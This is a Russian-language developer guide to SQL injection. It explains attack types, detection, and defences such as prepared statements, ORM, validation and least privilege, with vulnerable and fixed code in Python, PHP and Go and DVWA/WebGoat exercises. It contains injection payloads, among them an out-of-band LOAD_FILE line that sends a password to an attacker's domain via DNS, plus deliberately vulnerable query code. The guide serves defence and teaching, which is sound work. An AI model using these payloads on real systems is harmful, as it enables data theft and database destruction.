Полный гайд: защита от SQL-инъекций для разработчиков

SQL-инъекции остаются одной из самых частых и опасных уязвимостей в веб-приложениях. Ошибка в одном запросе — и злоумышленник получает доступ к базе данных, паролям и пользовательским данным.

В этом материале — полный практический разбор:
как именно происходят SQL-инъекции, какие ошибки разработчиков к ним приводят, как их распознать в коде и главное — как защититься.

Разберём реальные примеры на Python, PHP и Go, посмотрим, как атакующий «взламывает» запрос, и научимся писать безопасный код с параметризованными запросами и ORM.

Это не теория, а руководство, которое поможет понять уязвимость изнутри и навсегда закрыть её в своих проектах.

Введение: что такое SQL-инъекция и почему это опасно

SQL-инъекция (SQL Injection) – это уязвимость, при которой злоумышленник вставляет (инъектирует) произвольный фрагмент SQL-кода в запрос к базе данных, используя поля ввода или параметры веб-приложения. В результате нарушается логика запроса: атака позволяет обходить аутентификацию, получать несанкционированный доступ к данным, изменять или уничтожать информацию в базе, а в некоторых случаях – даже выполнять системные команды на сервере БД. Иными словами, если приложение напрямую подставляет неподготовленные пользовательские данные в SQL-запрос, злоумышленник может «сломать» синтаксис запроса и выполнить дополнительный вредоносный код. 

t.me/sqlhub -разбор тех собеседований у нас в телеграмме.

Например, классический случай – уязвимый скрипт проверки логина/пароля.

Допустим, приложение формирует такой запрос при входе пользователя:

SELECT * FROM users WHERE username = '<имя>' AND password = '<пароль>';

Если разработчик не фильтрует ввод, атакующий в поле логина может ввести строку:

' OR 1=1 -- 

Первые одинарные кавычки закрывают литерал, OR 1=1 добавляет условие, всегда возвращающее TRUE, а -- комментирует остаток запроса. В результате итоговый SQL примет вид:

SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = '...';

Такой запрос всегда находит хотя бы одну строку (условие 1=1 истинно), и злоумышленник залогинится без пароля под первым аккаунтом из таблицы Эта атака получила шуточное название «Bobby Tables» по знаменитому комиксу xkcd, где мальчика назвали Robert'); DROP TABLE Students;-- – показав, как неэкранированное имя приводит к удалению таблицы студентов. 

Последствия SQL-инъекций крайне серьезны. Атакер может: читать конфиденциальные данные (логины, пароли, личную информацию), изменять или удалять записи (например, менять цены товаров, удалять учетные записи), повышать свои привилегии (создавать администраторские учетные записи), компрометировать сервер (выполнять команды ОС через функции БД, устанавливать бэкдоры). Нередки случаи, когда SQL-инъекция приводила к масштабным утечкам данных и большим репутационным и финансовым потерям компании.

В рейтинге OWASP Top 10 эта уязвимость стабильно входит в тройку самых опасных для веб-приложений.

Мы выпустили на Stepik свежий курсPostgreSQL для разработчиков: от основ к созданию API. В этом курсе на пальцах объясняют не только как писать SQL-запросы, а строить настоящие backend-сервисы с базой данных как у профи. Если хотите много практики и больше узнать о SQL-инъекциях, рекомендую.

Механизм SQL-инъекции на простом примере

Чтобы понять, как работает SQL-инъекция, рассмотрим упрощенный сценарий. Предположим, у нас есть веб-страница, которая по ID пользователя выводит его имя. Код (на PHP) может выглядеть так:

$id = $_GET['id']; $query = "SELECT name FROM users WHERE id = $id";

Если пользовательский ввод напрямую подставляется в запрос, атакующий может передать в параметре id специально сформированное значение. Например:

?id=1 UNION SELECT password FROM users WHERE id=1

В этом случае оригинальный запрос объединится с результатом второго запроса (через UNION), и приложение вместо имени выведет хэш пароля пользователя с ID=1. Таким образом, непроверенный ввод превращается в выполняемый код на стороне базы данных

Важно отметить, что успешная SQL-инъекция возможна только там, где приложение строит SQL-запрос динамически, соединяя текст запроса и пользовательские данные. Если же используются безопасные методы (параметризованные запросы), то ввод интерпретируется как данные, а не как часть кода – об этом поговорим далее.

Типы SQL-инъекций и способы их обнаружения

SQL-инъекции классифицируются по способу получения и эксфильтрации данных из базы. Разработчикам важно понимать эти разновидности, поскольку от типа атаки зависит, как ее выявлять и предотвращать. Ниже рассмотрены основные виды SQLi-атак:

  1. Классическая (In-Band) SQL-инъекция – «внутриполосная» атака, при которой злоумышленник получает результаты из того же канала, что и отправляет запросы. Это наиболее распространенный и прямолинейный вид. Обычно проявляется как вставка оператора UNION или добавление всегда-истинного условия. Атакующий просто расширяет или модифицирует исходный SQL-запрос так, чтобы в ответ включились дополнительные данные. Пример: если в приведенном выше коде вместо числа ID подставить строку 1 UNION SELECT username, password FROM admins, запрос станет объединять результаты таблицы. В результате приложение может вывести, скажем, логины и пароли администраторов, хотя изначально предполагалось вывести имя одного пользователя. Для успешного проведения Union-based SQLi нападающему обычно нужно знать количество и типы столбцов исходного запроса, чтобы правильно сформировать вторую часть UNION. Признаки для обнаружения: появление в выдаче данных, которых не должно быть (например, дополнительных записей, скрытых полей, чужих данных). Также часто такие атаки можно заметить по необычным значениям параметров (например, наличие ' OR 1=1 или ключевых слов UNIONSELECT в параметрах URL). В логах или UI это может выглядеть как вывод всех записей, когда ожидалась одна. Пример успешной классической инъекции: на уровне Low в DVWA введено значение 1' OR 1=1#, которое добавляет условие OR 1=1 (всегда истинно) и комментирует остальную часть запроса. В результате приложение вернуло данные всех пользователей, хотя ожидался один результат. На скриншоте видно, что вместо одного пользователя выведены записи пяти пользователей из базы – классический признак SQL-инъекции.
  2. Error-based SQL-инъекция – разновидность In-Band-атаки, при которой злоумышленник умышленно вызывает ошибку базы данных, а затем извлекает нужную информацию из сообщении об ошибке. Многие СУБД в сообщениях об ошибках возвращают фрагменты запросов или данные, которые не удалось преобразовать, и этим можно воспользоваться. Пример: для MySQL характерен прием с приведением типов. Инъекция:' AND CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT) -- В этом случае атака вставляет подзапрос, выбирающий имя таблицы, и приводит результат к типу INTEGER. Это вызовет ошибку преобразования, в тексте которой отразится сам неверно преобразованный фрагмент – например: «не удается привести значение “users” к типу INT». Таким образом, из ошибки выуживается название таблицы users. Повторяя трюк, злоумышленник может перечислить имена таблиц, колонок и т.д. Признаки: появление SQL-ошибок в интерфейсе приложения – например, сообщения о синтаксических ошибках или недопустимом преобразовании данных. На этапе тестирования безопасности вставка одиночной кавычки ' в подозрительное поле – типичный прием: если в ответ возникает ошибка SQL, значит ввод не фильтруется и приложение раскрывает детали БД. Пример Error-based инъекции: ввод одиночной кавычки в поле поиска DVWA вызвал ошибку You have an error in your SQL syntax… near '' (видна на скриншоте). Приложение отобразило необработанную ошибку базы данных cspanias.github.io, что подтверждает уязвимость. Такие подробные ошибки (именно эта указывает на лишнюю кавычку в запросе) значительно облегчают злоумышленнику понимание структуры запроса и базы, позволяя ему развить атаку.
  3. Blind SQL-инъекция (слепая) – «inferential» атака, когда приложение не возвращает напрямую данные или ошибки, и злоумышленник вынужден делать выводы о состоянии базы косвенно – по поведенческим признакам (без явного вывода данных). В таких случаях применяют метод перебора по логическим условиям.
    • Boolean-based Blind SQLi. Атакующий отправляет булевы условия и наблюдает, как меняется ответ приложения. Например, он может последовательно проверять отдельные символы искомых данных. Классический пример:' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1) = 'a' -- Если приложение возвращает «нормальный» ответ (не отличается от исходного поведения), значит первая буква пароля пользователя с id=1 – a. Если же ответ иной (например, сообщение об ошибке или пустой результат), значит буква другаяt. Повторяя запрос с разными символами, можно перебрать пароль посимвольно. Поскольку никаких данных напрямую не выводится, такой подход очень медленный – требуется множество запросов (в худшем случае перебор всех букв для каждого символа). Однако он работает даже если в ответах нет ни ошибок, ни явных данных. Обнаружить подобную атаку трудно – в интерфейсе она никак не проявляется, кроме, возможно, необычных задержек.
    • Time-based Blind SQLi. Разновидность слепой инъекции, где вывод по-прежнему не виден, но истина/ложь определяется по задержке во времени. То есть вредоносный запрос заставляет базу «уснуть» на несколько секунд, если условие истинно. Например, для MySQL:' AND IF(SLEEP(5), 1, 0) -- Если условие выполняется, сервер задержит ответ примерно на 5 секунд. Атакующий отправляет последовательность запросов с разными условиями и по времени отклика узнаёт, какие ветки условия истинны. Таким способом также можно извлечь данные побитно или посимвольно (например, проверяя IF(substring(password,1,1)='a', SLEEP(5), 0) и перебирая буквы). Признаки: blind-атаки не проявляются напрямую ни в данных, ни в сообщениях об ошибке. Единственный косвенный признак – замедление работы приложения при time-based подходе (необычно долгое отсутствие ответа на определённые запросы). Boolean-based атаки еще сложнее заметить автоматически, так как они не влияют на время ответа, а только на содержимое (которое для конечного пользователя может выглядеть как обычный «запрос ничего не нашел»).
  4. Out-of-Band SQL-инъекция – менее распространенный вид, при котором похищенные данные передаются не через ответ обычного HTTP-запроса, а по стороннему каналу. Это актуально, если прямой вывод недоступен или нестабилен. Например, злоумышленник может заставить СУБД выполнить DNS-запрос или HTTP-запрос к своему серверу, указав в запросе часть данных. Многие базы имеют функции для взаимодействия с внешними сервисами – ими и пользуются. Пример: в MySQL функция LOAD_FILE() может читать файлы, а также, например, инициировать DNS-запрос. Инъекция:' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.example.com\\')) -- Здесь попытка прочитать файл по сети приведет к тому, что сервер БД обратится к домену вида <пароль>.example.com. В DNS-логе на контролируемом атакующим сервере отобразится запрос, содержащий пароль (в составе имени хоста). Таким образом, данные ушли через DNS. Аналогично в Microsoft SQL Server есть xp_dirtree, xp_cmdshell, в Oracle – UTL_HTTP для HTTP-запросов и т.д. Признаки: отследить внеполосную атаку сложно, так как приложение внешне может работать как обычно. Признаки можно обнаружить разве что анализируя сетевую активность базы данных (необычные DNS-запросы от DB-сервера или подключения к внешним адресам). Обычно такие атаки применяются очень продвинутыми хакерами или в специфичных ситуациях, когда остальные методы не дают результата.

Сводная характеристика типов SQL-инъекций: различные подходы отличаются по скорости и заметности. Классическая инъекция дает мгновенный результат и проста в реализации, но обычно легко обнаруживается (приложение ведет себя явно неправильно – ошибки или лишние данные). Слепые атаки малозаметны, так как не выдают очевидного «шума», однако требуют множества запросов (медленные). Внеполосные – помогают обойти ограничения, но зависят от возможностей инфраструктуры. 

Сравнение видов SQLi: в таблице показаны способы извлечения данных, трудность обнаружения и скорость для каждого типа атак. Видно, что In-Band (Classic) инъекция возвращает данные напрямую и очень быстра, но обычно заметна; Blind (boolean/time) атаки работают без прямого вывода, их сложнее обнаружить, зато они значительно медленнее; Out-of-band использует сторонние каналы связи (DNS/HTTP) для передачи данных и помогает обходить ограничения вывода и аудита.

Как находить уязвимости SQL-инъекции (практические примеры)

Разработчикам следует уметь тестировать свой код на уязвимость к SQL-инъекциям. Вот практические шаги и примеры, как выявлять проблемы:

  • Пробные вводы с кавычками и оператором OR. Один из первых шагов – попробовать ввести в подозрительное текстовое поле символ одинарной кавычки ' или фрагмент типа ' OR 1=1 --. Если поле уязвимо, кавычка зачастую вызовет ошибку SQL-синтаксиса (как мы видели выше), а конструкция OR 1=1 может привести к неожиданному выводу данных. Например, в учебном приложении DVWA (Damn Vulnerable Web Application) на уровне безопасности Low поле User ID уязвимо: ввод ' or '1'='1 в это поле приводит к тому, что приложение игнорирует исходное условие и возвращает всех пользователей. Такой тест сразу указывает на проблему.
  • Поиск всех точек ввода. Инъекция может скрываться не только в полях формы, но и в параметрах URL, заголовках HTTP, cookies. Поэтому тестировать нужно все места, где данные проходят в базу. Методично пройдитесь по каждому полю ввода и параметру: подставьте специальные символы ('"--;) и простейшие payload’ы вроде OR 1=1. Если приложение в каком-то месте начало вести себя странно (например, всегда показывает результаты независимо от введенного фильтра, выдает ошибку или задерживается) – есть повод расследовать глубже.
  • Наблюдение за ошибками и поведением. Как отмечалось, сообщения об ошибках базы – ценный индикатор. На этапе разработки никогда не оставляйте вывод ошибок SQL прямо на страницу в релизе. Но в режиме тестирования, если вы временно включили отображение ошибок, это поможет быстро увидеть проблему. В DVWA, например, рекомендуется включить display_errors=On, чтобы в учебных целях видеть SQL-ошибки и учиться на них. В боевом приложении подобные ошибки должны логироваться в файл, а не показываться пользователю – но для пентестинга включение ошибок облегчает поиск уязвимостей.
  • Использование автоматизированных инструментов. Существуют утилиты, которые сами перебирают огромное количество инъекционных паттернов. Самый известный – SQLMap. Достаточно указать URL и параметры, и SQLMap будет пробовать различные типы SQL-инъекций (Union, Boolean, Time-based и т.д.), пытаясь получить доступ к базе. Аналогично, сканеры уязвимостей (Acunetix, Netsparker и др.) имеют модули для обнаружения SQLi. Burp Suite – популярный инструмент тестирования безопасности – позволяет перехватывать запросы и модифицировать параметры на лету, что удобно для ручного исследования (например, для Blind SQLi в DVWA Medium уровень, где параметр передается через POST и выпадающий список, используют перехват запроса Burp’ом).
  • Метод последовательного исключения полей. Если вы не уверены, какое поле уязвимо, используйте подход, который рекомендует OWASP WebGoat: ввести ' OR 1=1 -- во все поля по очереди и посмотреть, где произойдут необычные эффекты. Например, если при регистрации нового пользователя даже с уникальным именем система отвечает “такой пользователь уже существует” – возможно, поле имени уязвимо, и условие OR 1=1 всегда находит запись. В WebGoat именно так находят уязвимое поле: пробуя инъекцию по всем входным точкам и отслеживая реакцию приложения.

В целом, тщательное тестирование и аудит кода – лучшие способы обнаружить SQL-инъекции до злоумышленников. Ниже мы рассмотрим конкретные советы по защите и примеры исправления уязвимого кода.

Как защититься от SQL-инъекций: лучшие практики

Защита от SQL-инъекций сводится к простому принципу: не доверять вводимым данным и гарантировать, что пользовательский ввод не может изменить логику ваших SQL-запросов. Рассмотрим ключевые методики и инструменты, которые должны использовать разработчики. 

1. Параметризованные запросы (Prepared Statements). Вместо конкатенации строк используйте placeholders (местозаполнители) для данных и передавайте значения отдельно. Параметризованный запрос компилируется базой отдельно от данных, поэтому даже если в значениях есть кавычки или спецсимволы, они не интерпретируются как код, а обрабатываются как обычные строкиtquality.rutquality.ru

Практически во всех языках и фреймворках есть поддержка prepared statements:

  • В Python (через библиотеки psycopg2pymysqlsqlite3 и др.) используется синтаксис с placeholders, например %s
  • Неправильно:
  • cursor.execute("SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password))
  • Такой код уязвим – данные вставляются прямо в строку запроса. 
  • Правильно:cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))Здесь username и password передаются вторым аргументом как параметрыtquality.ru, и драйвер БД сам позаботится об экранировании.
  • Даже если username = ' OR 1=1 --, он не «сломает» запрос, а будет трактоваться как обычная строка.
  • В PHP рекомендуется расширение PDO или улучшенный MySQLi. Неправильно:$id = $_GET['id']; $result = $mysqli->query("SELECT username FROM users WHERE id = $id");Здесь параметр напрямую встраивается в запрос (уязвимость)acunetix.comacunetix.comПравильно (PDO):
  • $stmt = $dbh->prepare("SELECT username FROM users WHERE id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute();
  • В параметризованном запросе :id – плейсхолдер. База никогда не объединяет строку запроса с данными напрямую, поэтому инъекция невозможна. На PHP 8+ также есть сокращенный синтаксис:$stmt = $dbh->prepare("SELECT username FROM users WHERE id = ?"); $stmt->execute([$id]);Он эквивалентен вышеописанному – значение $id будет экранировано драйвером автоматически.
  • В Go (Golang) стандартная библиотека database/sql поддерживает placeholders (? для MySQL/SQLite, $1 для PostgreSQL). 
  • Неправильно:
  • user := r.URL.Query().Get("name") query := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", user) rows, err := db.Query(query)Здесь введенное имя user вставляется через Sprintf – если оно содержит ' OR 1=1--, то запрос будет скомпрометированstackhawk.com
  • Правильно:user := r.URL.Query().Get("name") rows, err := db.Query("SELECT * FROM users WHERE name = ?", user)
  • Теперь вместо прямой подстановки используется ? и значение передается отдельным аргументом – драйвер сделает безопасную подстановкуbobby-tables.com. Если нужно использовать именованные параметры или другие удобства, можно подключить библиотеку вроде sqlx, но принцип тот же: строка SQL + данные раздельно.

Совет: никогда не стройте SQL вручную, если есть возможность использовать подготовленные выражения. Это правило касается любого языка – Java (JDBC PreparedStatement), C# (SqlCommand с параметрами), JavaScript (через ORM или параметризованные запросы), Python, PHP, Go и т.д.acunetix.comacunetix.com. Исключения крайне редки. Даже ORM под капотом используют этот же принцип.

2. Использование ORM и безопасных API. ORM (Object-Relational Mapping) фреймворки абстрагируют работу с БД, и при обычном использовании они генерируют запросы корректно. Например, запрос вида User.query.filter(User.name == name).all() в SQLAlchemy или аналог в Django ORM – под капотом создаст параметризованный SQL, а не строку с вставкой. Таким образом, ORM защищают от большинства тривиальных SQL-инъекций. Однако важно помнить: если вы начинаете вручную писать сырые SQL-запросы через ORM (например, методом raw в Django или session.execute в SQLAlchemy), вы снова несете ответственность за безопастность этих запросов. Кроме того, сами ORM могут иметь уязвимости, особенно если используются старые версииsnyk.io

Рекомендации при работе с ORM:

  • Обновляйте ORM-библиотеки до актуальных версий (в них исправляют обнаруженные уязвимостиsnyk.io).
  • По возможности избегайте прямого выполнения сырых SQL через ORM. Если очень нужно – обязательно параметризуйте их (многие ORM позволяют передавать параметры безопасно).
  • Не расслабляйтесь: валидация данных все равно нужна. ORM не предотвратит логические уязвимости вроде той же инъекции, если разработчик сам вставляет непроверенные данные в метод, который объединяет строку SQL.

3. Валидация и фильтрация входных данных. Это дополнительная линия обороны. Даже если используете prepared statements, полезно отсеивать заведомо недопустимые символы и форматы:

  • Валидация формата: убеждайтесь, что данные соответствуют ожидаемому типу. Например, если параметр – числовой ID, проверяйте, что строка состоит только из цифр. На PHP можно использовать is_numeric(), в Python – str.isdigit() или попытаться привести к int и отловить исключение. В DVWA на уровне Medium разработчик пытался защититься, заменив ввод произвольного ID на выпадающий список с ограниченными вариантамиcspanias.github.io – это тоже способ валидации (разрешаем только предусмотренные значения). Хотя тот конкретный пример оказался не до конца безопасен, идея «белых списков» верна.
  • Удаление или экранирование опасных символов: если в строке не должно быть апострофов, кавычек, точек с запятой, их можно либо запрещать, либо экранировать. Например, PHP-функция mysqli_real_escape_string() экранирует специальные символы в строке для использования в SQLtquality.ru. В DVWA Medium уровень как раз применен mysql_real_escape_string()cspanias.github.ioОднако! Полагаться только на экранирование нельзя – есть риск обхода через разные кодировки, и это не спасает от логических уязвимостей. Поэтому escaping – лишь вспомогательное средство. Лучше сочетать его с параметризацией запросов, либо использовать как временную меру.
  • Ограничение длины и структуры: если поле не должно содержать длинный ввод (например, ID пользователя обычно короткий), ограничьте максимальную длину. Это затруднит exploitation (большие полезные нагрузки не влезут). Если ожидается определенный формат (например, email, дата) – используйте регулярные выражения или готовые методы для проверки соответствия формату.

Стоит подчеркнуть: валидирование данных само по себе не предотвращает SQL-инъекцию полностью, но уменьшает поверхность атаки. Правильное экранирование спецсимволов снижает шанс случайной поломки запроса. Однако опытные атакующие могут обходить простые фильтры (например, используя Юникод-аналоги кавычек, различия в кодировках и т.п.). Поэтому главный метод – это все же #1 (параметризация). Валидация – второй рубеж. 

4. Ограничение прав доступа в БД (уровень базы данных). Даже если произойдет SQL-инъекция, правильно настроенные права учетной записи БД, от которой работает приложение, могут сильно снизить ущерб. Рекомендации:

  • Заводите для приложения пользователя БД с минимальными необходимыми привилегиями.
  • Например, если приложению нужны только операции SELECT/INSERT/UPDATE на конкретных таблицах – не давайте ему права DROP, CREATE, администрирования и т.д. Тогда даже если инъекция позволит выполнить произвольный SQL, злоумышленник физически не сможет дропнуть таблицы или создать нового пользователя БД. В примере ниже пользователь app_user получает только базовые права на определенную базу:CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password'; GRANT SELECT, INSERT, UPDATE ON mydatabase.* TO 'app_user'@'localhost';Такой аккаунт не сможет, к примеру, выполнить DROP TABLE (команда будет запрещена).
  • Запретите доступ к системным таблицам. В идеале учетная запись приложения не должна читать из служебных схем типа information_schema или аналогов – это затруднит атакующему извлечение метаданных о структуре БД (имен таблиц, столбцов).
  • Хранимые процедуры и специальные роли. Если возможно, некоторые действия выносите в хранимки с жестко прописанной логикой, а приложению давайте право только вызывать эти процедуры. Тогда даже инъекция не выйдет за рамки предусмотренной логики процедуры. Этот прием часто используют для повышения безопасности (хотя он не панацея – если сама процедура динамически строит SQL, она тоже уязвима). Но как слой защиты – полезно.

5. Регулярное обновление ПО. Устаревшие версии СУБД, драйверов, фреймворков могут содержать известные уязвимости, облегчающие SQL-инъекции. Например, были случаи уязвимостей в популярных ORM, позволявших обходить защиту. Поэтому: своевременно устанавливайте патчи на СУБД (MySQL, PostgreSQL, MSSQL и т.д.)tquality.ru, обновляйте используемые ORM/драйверы до актуальных версий. Это относится и к самим языкам программирования – новые версии могут добавлять безопасные API. Поддерживая стек в свежем состоянии, вы закрываете известные лазейки. 

6. Web Application Firewall (WAF) и мониторинг. WAF – это фильтр, который стоит перед вашим приложением и блокирует подозрительные запросы по заданным правилам (например, если в параметре обнаружена последовательность ' OR или UNION SELECT и др.)tquality.ru. Хороший WAF способен предотвратить большинство простых SQL-инъекций еще до того, как запрос попадет в приложение. Однако полагаться только на WAF опасно: это вспомогательный уровень защиты, который не гарантирует стопроцентного фильтра (умеючи, его можно обойти). Тем не менее, в комбинации с исправлением кода – очень полезная вещь. 

Также настройте логирование всех ошибок БД и подозрительных вводовtquality.ru. По логам вы можете заметить попытки SQL-инъекций (например, регулярные ошибки синтаксиса, странные входные данные) и принять меры до того, как атака достигнет цели. 

7. Код-ревью и security-тестирование. Внедрите практику проверки кода на этапе разработки: при код-ревью обращайте внимание на участки, где формируются SQL-запросы. Если видите конкатенацию строк с входными данными – требуйте исправить на безопасный вариант. Кроме того, используйте статический анализ кода: линтеры и анализаторы (например, SonarQube, CodeQL, PHPStan, Bandit для Pythonbrightsec.combrightsec.com) способны находить места, потенциально уязвимые для SQL-инъекции (часто это правила типа «не используйте string format для SQL»). Инструменты динамического анализа и сканеры (DAST) на стадии тестирования также помогут выявить уязвимости, запуская автоматические атаки на работающий экземпляр приложения. 

Подводя итог: сочетание правильной разработки (параметры, ORM, валидация) и организационных мер (ограничение привилегий, обновления, firewall, аудит) практически сводит риск SQL-инъекции к нулю. Далее мы покажем конкретные фрагменты кода с уязвимостями и их безопасные альтернативы в разных языках.

Примеры уязвимого и безопасного кода

Разберем небольшие примеры на Python, PHP и Go, демонстрирующие, как именно проявляется уязвимость SQL-инъекции в коде и как ее исправить.

Python

Допустим, мы пишем Flask-приложение и хотим проверить логин пользователя, обратившись к базе. Наивный (уязвимый) вариант кода:

# УЯЗВИМО: конкатенация строки запроса username = request.values.get('username') password = request.values.get('password') cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")

В этой реализации введенные username и password просто подставляются в SQL через f-строку (эквивалент % форматирования). Проблема: если злоумышленник введет username = john' OR 'a'='a и пустой пароль, запрос станет:

SELECT * FROM users WHERE username = 'john' OR 'a'='a' AND password = '';

Логическая часть OR 'a'='a' всегда истинна, и запрос вернет всех пользователей, либо залогинит первого найденного пользователяbrightsec.combrightsec.com. Кроме того, '; в конце могло бы начать новый запрос. Таким образом, авторизация будет скомпрометирована. 

Безопасный вариант: использовать placeholders и передачу параметров. В Python DB-API (PEP 249) это делается вторым аргументом cursor.execute:

# БЕЗОПАСНО: параметризованный запрос username = request.values.get('username') password = request.values.get('password') query = "SELECT * FROM users WHERE username = %s AND password = %s" cursor.execute(query, (username, password))

Теперь драйвер сам подставит значения вместо %s. Если в username содержится кавычка или сложное выражение – все это будет экранировано или приведено к безопасному виду на уровне библиотеки. Запрос исполнится строго как задумано, и даже хитрые вводы не повлияют на его логику.

PHP

Рассмотрим скрипт на PHP, получающий ID пользователя из параметра URL и выбирающий его имя:

// УЯЗВИМО: напрямую вставляем параметр в запрос $id = $_GET['id']; $result = $mysqli->query("SELECT username FROM users WHERE id = $id"); $row = $result->fetch_assoc(); echo"Имя: " . $row['username'];

Если параметр id не проверяется, злоумышленник может передать, например:

?id=-1 UNION SELECT password FROM users WHERE id=1

Это превратит запрос в:

SELECT username FROM users WHERE id = -1 UNION SELECT password FROM users WHERE id=1;

Вместо имени пользователя с id=-1 (которого нет) запрос вернет хэш пароля пользователя с id=1, т.к. результат двух SELECT объединяетсяacunetix.comacunetix.com. Более того, если бы скрипт выводил несколько полей, можно было бы вытянуть через UNION дополнительные колонки (email, и т.д.). Проблема – конкатенация строки запроса с непроверенным $id

Правильное решение: использовать Prepared Statements. С PDO это делается так:

// БЕЗОПАСНО: параметризованный запрос через PDO $id = $_GET['id']; $dbh = newPDO('mysql:host=localhost;dbname=mydb', 'user', 'pass'); $stmt = $dbh->prepare("SELECT username FROM users WHERE id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT);$stmt->execute(); $username = $stmt->fetchColumn(); echo "Имя: " . htmlspecialchars($username);

Благодаря плейсхолдеру :id значение переменной не может нарушить синтаксис запросаacunetix.comacunetix.com. Даже если кто-то попытается передать id=1; DROP TABLE users, запрос прервется на первом ; (PDO не позволит выполнить сразу две команды), либо будет воспринят как литерал (если драйвер все объединит в строку параметра). В любом случае, таблица не удалится. Также мы использовали PDO::PARAM_INT для явного указания типа – PDO тогда сам приведет строку к целому, отбросив все лишнее. 

Стоит также не забыть про экранирование вывода (в примере использован htmlspecialchars) – это уже защита от XSS, но полезно делать всегда, когда выводите данные пользователя. 

Еще вариант – использовать mysqli с подготовкой:

$stmt = $mysqli->prepare("SELECT username FROM users WHERE id = ?"); $stmt->bind_param("i", $_GET['id']); $stmt->execute(); $stmt->bind_result($username); $stmt->fetch();

Это эквивалент PDO-примера. Выбор конкретного API зависит от предпочтений, но принцип один: запрос с ? и отдельной передачей параметра.

Go

На языке Go используем пакет database/sql. Предположим, у нас REST API, который по имени пользователя возвращает его email. Уязвимый код мог бы быть таким:

// УЯЗВИМО: динамическое создание строки запроса name := r.URL.Query().Get("name") query := fmt.Sprintf("SELECT email FROM users WHERE name = '%s'", name) rows, err := db.Query(query)

Если name взят из URL без проверки, злоумышленник вызовет эндпоинт, подставив, например:

?name=' OR 1=1;--

Тогда query станет:

SELECT email FROM users WHERE name = '' OR 1=1;--'

Первая кавычка закрывает пустое имя, условие OR 1=1 делает фильтр бессмысленным (истина для всех строк), ;-- завершает запрос и комментирует лишнюю кавычку. В итоге вернутся все email из таблицы (или сколько позволит метод). Другой пример – name='foo';DROP TABLE users-- приведет к выполнению двух команд: выборка (ничего не вернет) и удаление таблицы users.

Подобный пример демонстрировался в официальной документации Go и материалах по безопасности. 

Правильный код:

name := r.URL.Query().Get("name") rows, err := db.Query("SELECT email FROM users WHERE name = ?", name)

Здесь используется placeholder ?, и драйвер подставит значение переменной безопасно. В случае драйвера для PostgreSQL синтаксис немного другой (например, $1$2), но пакет database/sql это учитывает – в документации драйвера указано, какой формат placeholder использовать. Дальше вы просто сканируете rows как обычно. Инъекция исключена, потому что fmt.Sprintf мы убрали, а db.Query с параметром сам позаботится об экранировании или биндинге.

Вывод по примерам

Как видно, во всех языках проблема возникала, когда разработчик строил SQL-строку вручную. Решение везде схожее: параметризовать запрос или воспользоваться более высоким уровнем абстракции (ORM, библиотека). Следование этому правилу устраняет львиную долю рисков SQL-инъекций.

Демонстрация атак и защиты на примере DVWA и WebGoat

Для закрепления рассмотрим, как реализованы упражнения по SQL-инъекциям в популярных учебных приложениях – DVWA (PHP/MySQL) и WebGoat (Java). 

Damn Vulnerable Web Application (DVWA) – специально уязвимое приложение, имеющее 4 уровня безопасности: Low, Medium, High, Impossible. В компоненте SQL Injection DVWA показывает, как одна и та же функциональность может быть уязвима или защищена в зависимости от подхода:

  • На уровне Low – код намеренно полностью уязвим. Запрос строится напрямую из входных данных без какой-либо фильтрацииcspanias.github.io. Пользователю предлагается ввести ID, и приложение показывает имя и фамилию. Как мы показывали, ввод ' OR 1=1 -- в поле ID приводит к тому, что игнорируется фильтр по ID и возвращаются все записиcspanias.github.io. DVWA Low позволяет также попробовать различные классические атаки: UNION SELECT (чтобы вытащить хеши паролей, например) или error-based (в DVWA можно включить отображение ошибок и увидеть сообщения от MySQL). Цель для ученика – «украсть пароли всех 5 пользователей»cspanias.github.io, что достигается путем SQL-инъекции.
  • Уровень Medium – приложение пытается защититься, но сделано это неправильно. В коде DVWA Medium для SQL-инъекции используется функция mysql_real_escape_string() для входного параметраcspanias.github.io. Казалось бы, должно помочь. Однако разработчик допустил логическую ошибку: он убрал кавычки вокруг параметра в SQL-запросе, предполагая, что раз на входе число – можно без кавычек. В итоге экранирование не спасает, и атаку все равно можно провести, немного иначе сформировав payloadcspanias.github.iocspanias.github.io. Кроме того, Medium-уровень заменил текстовое поле на выпадающий список (чтобы пользователь не мог вбить произвольное значение вручную)cspanias.github.io. Но это тоже обходится: например, через перехват запроса Burp Suite и подмену значения, или через инструменты разработчика в браузере (открыть HTML и вернуть поле ввода). Таким образом, DVWA Medium демонстрирует, что неполная защита (экранирование без параметризации, сокрытие поля ввода) – не панацея.
  • Уровень High – усложняет задачу: входные данные передаются не напрямую, а через другой механизм (например, через сессию и промежуточную страницу)cspanias.github.io. По сути, уязвимость та же (динамический SQL без параметров), но спрятана глубже. Атакующий все равно может внедрить код, только нужно понять, куда именно. DVWA High обучает искать нестандартные места инъекции, когда прямая вставка недоступна. Например, значение могло передаваться через POST-параметр или cookie.
  • Уровень Impossible – показывает правильную защиту. Код переписан на параметризованные запросы (Prepared Statements) так что инъекция не работает вовсе. Пользователь может убедиться, что те payload’ы, что сработали на Low/Medium/High, тут уже не дают эффекта (данные не раскрываются, ошибок нет, входные значения обрабатываются как данные). Impossible служит эталоном безопасности – в идеале код приложения всегда должен быть на таком уровне.

WebGoat – учебное приложение от OWASP – содержит задания по SQL-инъекциям как базового, так и продвинутого уровня. В отличие от DVWA, где вы сами экспериментируете, WebGoat интерактивно проводит через этапы:

  • SQL Injection (intro) – вводный урок, где показывается простейшая инъекция. Например, предлагается ввести ' or '1'='1 в поле входа, и объясняется, почему это дает доступ ко всем учетным записям (аналог примера с логином выше).
